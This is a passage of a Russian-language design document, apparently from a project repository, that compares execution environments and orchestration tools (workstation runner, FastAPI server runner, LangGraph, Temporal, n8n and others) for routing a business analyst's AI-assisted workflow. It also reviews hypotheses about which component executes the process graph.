\u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u0430 | \u0410\u0433\u0435\u043d\u0442 GigaCode | \u0410\u0433\u0435\u043d\u0442 Cline | \u041c\u043e\u0434\u0435\u043b\u044c \u0432 \u0447\u0430\u0442\u0435 | \u0428\u0430\u0433 runner, \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0449\u0438\u0439 \u043c\u043e\u0434\u0435\u043b\u044c |\\n33\\t| \u0418\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 | \u0422\u0435\u0440\u043c\u0438\u043d\u0430\u043b | \u041f\u0430\u043d\u0435\u043b\u044c Cline \u0432 VS Code | \u0412\u0435\u0431-\u0447\u0430\u0442 | \u0412\u0435\u0431-\u0447\u0430\u0442, \u043c\u0435\u0441\u0441\u0435\u043d\u0434\u0436\u0435\u0440 \u0438\u043b\u0438 \u0444\u043e\u0440\u043c\u0430 |\\n34\\t| \u0418\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 | **\u0411\u0410 \u0440\u0443\u043a\u0430\u043c\u0438** \u0447\u0435\u0440\u0435\u0437 `tools/run-task` | **\u041c\u043e\u0434\u0435\u043b\u044c** \u043f\u043e \u0442\u0435\u043a\u0441\u0442\u0443 `AGENTS.md` | \u041c\u043e\u0434\u0435\u043b\u044c | Runner \u043a\u0430\u043a \u0441\u043b\u0443\u0436\u0431\u0430 |\\n35\\t| \u0418\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u0438 \u0433\u0435\u0439\u0442\u043e\u0432 | `validate-package.py` \u0446\u0435\u043b\u0438\u043a\u043e\u043c | `run_task.py` \u0434\u043b\u044f Working \u0438 Release | \u041d\u0435\u0442 | \u0412\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b Source + CI \u0434\u043b\u044f Release |\\n36\\t| \u041a\u0430\u043d\u0430\u043b \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f | \u0424\u0440\u0430\u0437\u0430-\u0432\u044b\u0437\u043e\u0432 \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u0435 | \u041f\u043e\u043b\u0435 \u0432 JSON, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043f\u0438\u0448\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c | \u041d\u0435\u0442 | \u041a\u043d\u043e\u043f\u043a\u0430 \u0438\u043b\u0438 \u0444\u043e\u0440\u043c\u0430 \u0441 \u0437\u0430\u043f\u0438\u0441\u044c\u044e \u0432 \u0436\u0443\u0440\u043d\u0430\u043b |\\n37\\t\\n38\\t\u0421\u0442\u0440\u043e\u043a\u0430 \u00ab\u0418\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430\u00bb \u0438 \u0435\u0441\u0442\u044c \u0433\u043b\u0430\u0432\u043d\u044b\u0439 \u0440\u0430\u0437\u0440\u044b\u0432: \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0447\u0435\u0439\\n39\\t\u0441\u0440\u0435\u0434\u0435 \u044d\u0442\u0443 \u0440\u043e\u043b\u044c \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0447\u0438\u0442\u0430\u0435\u0442 \u0433\u0440\u0430\u0444. \u041a\u043b\u0438\u0435\u043d\u0442\u044b \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c\\n40\\t\u043c\u0435\u0441\u0442\u0435 \u043d\u0435 \u043c\u043e\u0433\u0443\u0442 \u0437\u0430\u043a\u0440\u044b\u0442\u044c \u0435\u0451 \u0441\u0430\u043c\u0438: workflow, skill \u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u2014 \u044d\u0442\u043e \u0442\u0435\u043a\u0441\u0442,\\n41\\t\u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c, \u0430 hooks \u043c\u043e\u0433\u0443\u0442 \u0437\u0430\u043f\u0440\u0435\u0442\u0438\u0442\u044c \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0432\u044b\u0437\u043e\u0432, \u043d\u043e \u043d\u0435\\n42\\t\u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 ([\u0413-37](#\u0433-37)\u2026[\u0413-39](#\u0433-39)). \u041f\u043e\u044d\u0442\u043e\u043c\u0443\\n43\\t\u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u0436\u0438\u0442\u044c \u0432 runner, \u0430 \u043a\u043b\u0438\u0435\u043d\u0442 \u2014 \u0431\u044b\u0442\u044c \u043c\u0435\u0441\u0442\u043e\u043c, \u0433\u0434\u0435 \u043f\u0438\u0448\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a.\\n44\\t\\n45\\t## \u0421\u043b\u043e\u0439 3. \u0418\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\\n46\\t\\n47\\t### \u041f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440 \u043f\u0440\u0435\u0436\u043d\u0438\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u0439\\n48\\t\\n49\\t\u0414\u0432\u0430 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u043a\u0430\u0441\u0430\u044e\u0442\u0441\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u043f\u0440\u044f\u043c\u043e.\\n50\\t\\n51\\t- **\u0412\u0435\u0440\u0434\u0438\u043a\u0442 `M4`: \u00abbuild \u2014 YAML-\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442, \u0434\u0432\u0438\u0436\u043e\u043a \u0438\u0437\u0431\u044b\u0442\u043e\u0447\u0435\u043d\u00bb**\\n52\\t  ([`research/ba-requirements/orchestration/30-decision-framework.md` L193](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/orchestration/30-decision-framework.md#L193)).\\n53\\t  YAML \u043f\u043e\u0441\u0442\u0440\u043e\u0435\u043d. \u0418\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c YAML \u0432 \u0432\u0435\u0440\u0434\u0438\u043a\u0442 \u043d\u0435 \u0432\u043e\u0448\u0451\u043b: \u00ab\u043d\u0435 \u043f\u043e\u043a\u0443\u043f\u0430\u0442\u044c\\n54\\t  \u0434\u0432\u0438\u0436\u043e\u043a\u00bb \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043b\u043e\u0441\u044c \u043a\u0430\u043a \u00ab\u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f \u043d\u0435 \u043d\u0443\u0436\u043d\u043e\u00bb. \u0414\u043b\u044f \u043e\u0434\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430 \u043d\u0430\\n55\\t  \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435 \u0432\u0435\u0440\u0434\u0438\u043a\u0442 \u0432\u0435\u0440\u0435\u043d \u0438 \u0441\u0435\u0439\u0447\u0430\u0441. \u0414\u043b\u044f \u0441\u0440\u0435\u0434\u044b 4 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u043f\u043e\u0441\u044b\u043b\u043a\u0430\\n56\\t  \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u0430 \u2014 \u00ab\u0435\u0434\u0438\u043d\u0438\u0446\u0430 \u0440\u0430\u0431\u043e\u0442\u044b \u2014 \u043f\u0440\u0435\u0434\u043f\u0440\u043e\u0435\u043a\u0442\u043d\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430\u00bb\\n57\\t  ([L199-L202](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/orchestration/30-decision-framework.md#L199-L202)):\\n58\\t  \u043f\u043e\u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 \u0434\u043d\u044f\u043c\u0438, \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438 \u043e\u0431\u0449\u0438\u0439\\n59\\t  \u0436\u0443\u0440\u043d\u0430\u043b ([\u0413-36](#\u0433-36)).\\n60\\t- **\u0410\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u0430 C RFC GigaCode: \u00ab\u0412\u0432\u0435\u0441\u0442\u0438 \u0432\u043d\u0435\u0448\u043d\u0438\u0439 workflow engine\u00bb \u2014\\n61\\t  \u00ab\u041e\u0442\u043b\u043e\u0436\u0435\u043d\u043e\u00bb**\\n62\\t  ([RFC L371-L375](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md#L371-L375)).\\n63\\t  \u041e\u0442\u043b\u043e\u0436\u0435\u043d\u043e, \u0430 \u043d\u0435 \u043e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e, \u0438 \u0431\u0435\u0437 \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0430 ([\u0413-54](#\u0433-54)).\\n64\\t  \u041f\u0440\u043e\u0431\u044b `P10`\u2026`P12` \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442, \u0447\u0442\u043e \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442 \u0446\u0435\u043b\u0438 \u043f\u043e\u043a\u0430 \u043d\u0435\\n65\\t  \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442, \u043d\u043e \u043f\u0440\u0438\u0447\u0438\u043d\u044b \u0434\u0435\u0448\u0451\u0432\u044b\u0435 \u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0432\u043d\u0443\u0442\u0440\u0438 runner, \u0431\u0435\u0437 \u0432\u043d\u0435\u0448\u043d\u0435\u0433\u043e\\n66\\t  \u0434\u0432\u0438\u0436\u043a\u0430. \u0423\u0441\u043b\u043e\u0432\u0438\u0435 \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0430 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0442\u0430\u043a: \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u0434\u0432\u0438\u0436\u043e\u043a\\n67\\t  \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f, \u043a\u043e\u0433\u0434\u0430 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043d\u0443\u0436\u043d\u044b \u0431\u043e\u043b\u044c\u0448\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f,\\n68\\t  \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f \u0434\u043e\u043b\u044c\u0448\u0435 \u0440\u0430\u0431\u043e\u0447\u0435\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u0438 \u0446\u0435\u043d\u0442\u0440\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0436\u0443\u0440\u043d\u0430\u043b, \u0442\u043e \u0435\u0441\u0442\u044c \u043f\u0440\u0438\\n69\\t  \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0435 \u0432 \u0441\u0440\u0435\u0434\u0443 4.\\n70\\t- **\u041f\u043b\u0430\u043d n8n \u043c\u0430\u044f 2026.** \u042d\u0442\u0430\u043f 4 \u0434\u043e\u0440\u043e\u0436\u043d\u043e\u0439 \u043a\u0430\u0440\u0442\u044b RAG \u2014\\n71\\t  \u00abn8n-\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0446\u0438\u044f\u00bb \u0441 human gates\\n72\\t  ([`2026-05-26-rag-mapping-roadmap.md` L275-L283](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/mango/2026-05-26-rag-mapping-roadmap.md#L275-L283))\\n73\\t  \u2014 \u0438 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0430 \u044d\u0442\u0430\u043f\u043e\u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u043a \u0443\u0437\u043b\u0430\u043c n8n\\n74\\t  ([`2026-05-26-requirements-lifecycle-uncertainty.md` L425-L437](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/mango/2026-05-26-requirements-lifecycle-uncertainty.md#L425-L437)).\\n75\\t  \u041f\u043e\u0437\u0436\u0435 \u0432\u0435\u0440\u0434\u0438\u043a\u0442 `M4` n8n \u043d\u0435 \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442, \u0438 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438\\n76\\t  \u043d\u0435\u0442 ([\u0413-50](#\u0433-50)). \u042d\u0442\u043e\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0434\u0430\u0451\u0442 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u044e\u0449\u0443\u044e \u043e\u0446\u0435\u043d\u043a\u0443.\\n77\\t\\n78\\t### \u041c\u0430\u0442\u0440\u0438\u0446\u0430 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432\\n79\\t\\n80\\t\u041e\u0431\u043e\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f: \u25cf \u2014 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e, \u25d0 \u2014 \u0441 \u0443\u0441\u043b\u043e\u0432\u0438\u0435\u043c, \u25cb \u2014 \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e.\\n81\\t\u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0438:\\n82\\t\u041a1 \u2014 \u0433\u0440\u0430\u0444 \u0431\u0435\u0440\u0451\u0442\u0441\u044f \u0438\u0437 Source \u0431\u0435\u0437 \u0440\u0443\u0447\u043d\u043e\u0439 \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u043a\u0438;\\n83\\t\u041a2 \u2014 \u043f\u0430\u0443\u0437\u0430 \u0438 \u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0430 \u0434\u043d\u0438;\\n84\\t\u041a3 \u2014 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u0432 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0440\u0435\u0434\u0435;\\n85\\t\u041a4 \u2014 \u0443\u0434\u043e\u0431\u0441\u0442\u0432\u043e \u0434\u043b\u044f \u0411\u0410, \u043d\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0441\u0442\u0430;\\n86\\t\u041a5 \u2014 \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0435 \u0432 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f\u0445 \u043f\u0440\u043e\u0435\u043a\u0442\u0430;\\n87\\t\u041a6 \u2014 \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u044f \u0434\u043b\u044f \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f;\\n88\\t\u041a7 \u2014 \u0441\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438 \u0441 Source, \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440\u043e\u043c \u0438 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u0430\u043c\u0438;\\n89\\t\u041a8 \u2014 \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u0438.\\n90\\t\\n91\\t| \u2116 | \u0412\u0430\u0440\u0438\u0430\u043d\u0442 | \u041a1 | \u041a2 | \u041a3 | \u041a4 | \u041a5 | \u041a6 | \u041a7 | \u041a8 | \u0418\u0442\u043e\u0433 |\\n92\\t|---|---------|----|----|----|----|----|----|----|----|------|\\n93\\t| \u0412-0 | \u041a\u0430\u043a \u0441\u0435\u0439\u0447\u0430\u0441: runner-\u043f\u0440\u0438\u0432\u0440\u0430\u0442\u043d\u0438\u043a, \u0411\u0410 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u044b | \u25cb | \u25cb | \u25cf | \u25cb | \u25cf | \u25cf | \u25cf | \u25cf | \u041e\u0442\u043f\u0440\u0430\u0432\u043d\u0430\u044f \u0442\u043e\u0447\u043a\u0430 |\\n94\\t| \u0412-1 | Runner-\u0432\u0435\u0434\u0443\u0449\u0438\u0439 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435 | \u25cf | \u25d0 | \u25cf | \u25d0 | \u25cf | \u25cf | \u25cf | \u25cf | **\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 1** |\\n95\\t| \u0412-2 | \u041c\u0430\u0440\u0448\u0440\u0443\u0442 \u0447\u0435\u0440\u0435\u0437 MCP \u0438\u043b\u0438 skill \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0431\u0435\u0437 runner-\u0432\u0435\u0434\u0443\u0449\u0435\u0433\u043e | \u25cb | \u25cb | \u25cf | \u25cf | \u25cf | \u25cf | \u25d0 | \u25d0 | \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442: \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0440\u0435\u0448\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c |\\n96\\t| \u0412-3 | \u0421\u0435\u0440\u0432\u0435\u0440\u043d\u044b\u0439 runner: FastAPI + \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442 + Postgres | \u25cf | \u25cf | \u25cf | \u25cf | \u25d0 | \u25cf | \u25cf | \u25d0 | **\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 2** |\\n97\\t| \u0412-4 | \u0412-3 \u0441 \u0434\u0432\u0438\u0436\u043a\u043e\u043c LangGraph (\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430, MIT) | \u25d0 | \u25cf | \u25cf | \u25cf | \u25d0 | \u25cf | \u25d0 | \u25d0 | \u0420\u0430\u0437\u0432\u0438\u0442\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 2 |\\n98\\t| \u0412-5 | Temporal | \u25d0 | \u25cf | \u25cf | \u25cb | \u25cb | \u25cf | \u25d0 | \u25d0 | \u0418\u0437\u0431\u044b\u0442\u043e\u0447\u0435\u043d \u0434\u043b\u044f \u043e\u0434\u043d\u043e\u0433\u043e \u0433\u0440\u0430\u0444\u0430 |\\n99\\t| \u0412-6 | n8n \u043a\u0430\u043a \u044f\u0434\u0440\u043e \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 | \u25cb | \u25cf | \u25cf | \u25cf | \u25d0 | \u25d0 | \u25cb | \u25cb | \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442 \u043a\u0430\u043a \u044f\u0434\u0440\u043e |\\n100\\t| \u0412-7 | n8n \u043a\u0430\u043a \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430 \u0432\u043e\u043a\u0440\u0443\u0433 \u0412-3 | \u25cf | \u25cf | \u25cf | \u25cf | \u25d0 | \u25d0 | \u25d0 | \u25d0 | \u0414\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u043e\u0435 \u0434\u043e\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 2 |\\n101\\t| \u0412-8 | Dify \u0438\u043b\u0438 Flowise | \u25cb | \u25cf | \u25cf | \u25cf | \u25d0 | \u25d0 | \u25cb | \u25d0 | \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442 |\\n102\\t| \u0412-9 | Windmill, Kestra \u0438\u043b\u0438 Prefect | \u25d0 | \u25d0 | \u25cf | \u25cb | \u25d0 | \u25d0 | \u25d0 | \u25d0 | \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442: \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u043e\u0432 \u0434\u0430\u043d\u043d\u044b\u0445 |\\n103\\t| \u0412-10 | BPMN: Camunda 8 \u0438\u043b\u0438 Operaton | \u25cb | \u25cf | \u25d0 | \u25d0 | \u25cb | \u25d0 | \u25cb | \u25d0 | \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442 |\\n104\\t\\n105\\t\u041e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u0446\u0435\u043d\u043e\u043a \u2014 \u0432 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430\u0445 \u0433\u0440\u0443\u043f\u043f\u044b\\n106\\t[\u0417](#\u0437-\u0441\u043b\u043e\u0439-3-\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b-\u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438-\u0438-\u0437\u0430\u043f\u0443\u0441\u043a\u0430) \u0438 \u0432 \u0442\u0430\u0431\u043b\u0438\u0446\u0435\\n107\\t[\u00ab\u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u044b\u0435 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b\u00bb](#\u043e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u044b\u0435-\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b-\u0438-\u0438\u0445-\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u044f).\\n108\\t\\n109\\t## \u041c\u0430\u0442\u0440\u0438\u0446\u0430 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\\n110\\t\\n111\\t\u0421\u0441\u044b\u043b\u043a\u0438 \u0432\u0435\u0434\u0443\u0442 \u043d\u0430 `main`. \u041a\u043e\u0440\u043e\u0442\u043a\u0438\u0435 \u043e\u0431\u043e\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f: `G` \u2014 \u043f\u0430\u043a\u0435\u0442\\n112\\t[`dist/execution-package-gigacode-cli/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/dist/execution-package-gigacode-cli),\\n113\\t`MM` \u2014 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c\\n114\\t[`ba-meta-model/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model),\\n115\\t`P10`\u2026`P12` \u2014 \u043f\u0440\u043e\u0431\u044b \u0438\u0437\\n116\\t[\u0436\u0443\u0440\u043d\u0430\u043b\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/experiments/issue_639_runner_probes.log).\\n117\\t\\n118\\t### \u0415. \u0421\u043b\u043e\u0439 1: \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0438 \u0435\u0451 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f\\n119\\t\\n120\\t| \u2116 | \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 | \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e | \u0421\u0442\u0430\u0442\u0443\u0441 | \u0423\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u044c | \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f |\\n121\\t|---|----------|----------------|--------|-------------|--------------|\\n122\\t| \u0413-26 | \u0412 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043e, \u043a\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 | `MM` \u043f\u043e\u0440\u0443\u0447\u0430\u0435\u0442 \u0447\u0442\u0435\u043d\u0438\u0435 `routes/` \u0438 \u0437\u0430\u043f\u0438\u0441\u044c \u043b\u0438\u0441\u0442\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u00ab\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0443\u00bb ([L49](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L49), [L154](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L154)), \u043d\u043e \u0441\u0440\u0435\u0434\u0438 [\u043e\u0434\u0438\u043d\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md#L35-L53) \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0435\u0442; `Actor` \u2014 \u00ab\u043a\u0442\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043b \u0448\u0430\u0433\u00bb, \u0430 `System` \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u0435\u043c \u0431\u044b\u0442\u044c \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 ([`SY-1`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md#L65)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043c\u043e\u0434\u0435\u043b\u044c.** \u041e\u0431\u044a\u044f\u0432\u0438\u0442\u044c \u0440\u043e\u043b\u044c \u00ab\u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430\u00bb \u043a\u0430\u043a \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u0441\u0440\u0435\u0434\u044b, \u0430 \u043d\u0435 \u043a\u0430\u043a `Actor`: \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0447\u0438\u0442\u0430\u0435\u0442 \u0433\u0440\u0430\u0444, \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u0440\u0435\u0431\u0440\u043e \u043f\u043e \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u0443, \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u0433\u0435\u0439\u0442 \u0438 \u043f\u0438\u0448\u0435\u0442 \u0436\u0443\u0440\u043d\u0430\u043b. \u041a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0435\u0451 \u0432 runner, 